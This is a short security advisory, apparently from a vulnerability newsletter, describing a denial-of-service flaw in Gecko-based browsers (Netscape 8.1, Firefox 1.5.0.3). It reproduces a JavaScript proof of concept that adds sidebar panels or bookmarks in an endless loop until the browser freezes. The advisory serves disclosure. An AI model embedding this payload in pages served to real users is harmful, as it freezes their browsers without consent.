|
Brought to you by:
Suppliers of:
|
|
|
| |
| By using an endless loop to add bookmarks to the sidebar or the bookmarks on Gecko based browsers, attackers can cause a DoS condition and cause Gecko based browsers to freeze. |
| |
Credit:
The information has been provided by Gianni Amato, Juha-Matti Laurio.
The original article can be found at: http://www.milw0rm.com/exploits/1802
|
| |
Vulnerable Systems:
* Netscape Browser version 8.1
* Firefox version 1.5.0.3
By using endless loop with Gecko based web browsers to add new sidebar or bookmark, it is possible to cause Gecko to stop responding.
Proof of Concept:
< script language="JavaScript1.2" type="text/javascript" >
function MainPageBookmark()
{
title="Gianni Amato";
url="http://www.gianniamato.it/";
if (window.sidebar) {
window.sidebar.addPanel(title, url,"");
}
else if( window.external )
{
window.external.AddFavorite( url, title);
}
else if (window.opera && window.print)
{
return true;
}
}
for (k=0;k<k+1;k++) MainPageBookmark();
< / script>
|
|
|
|
|
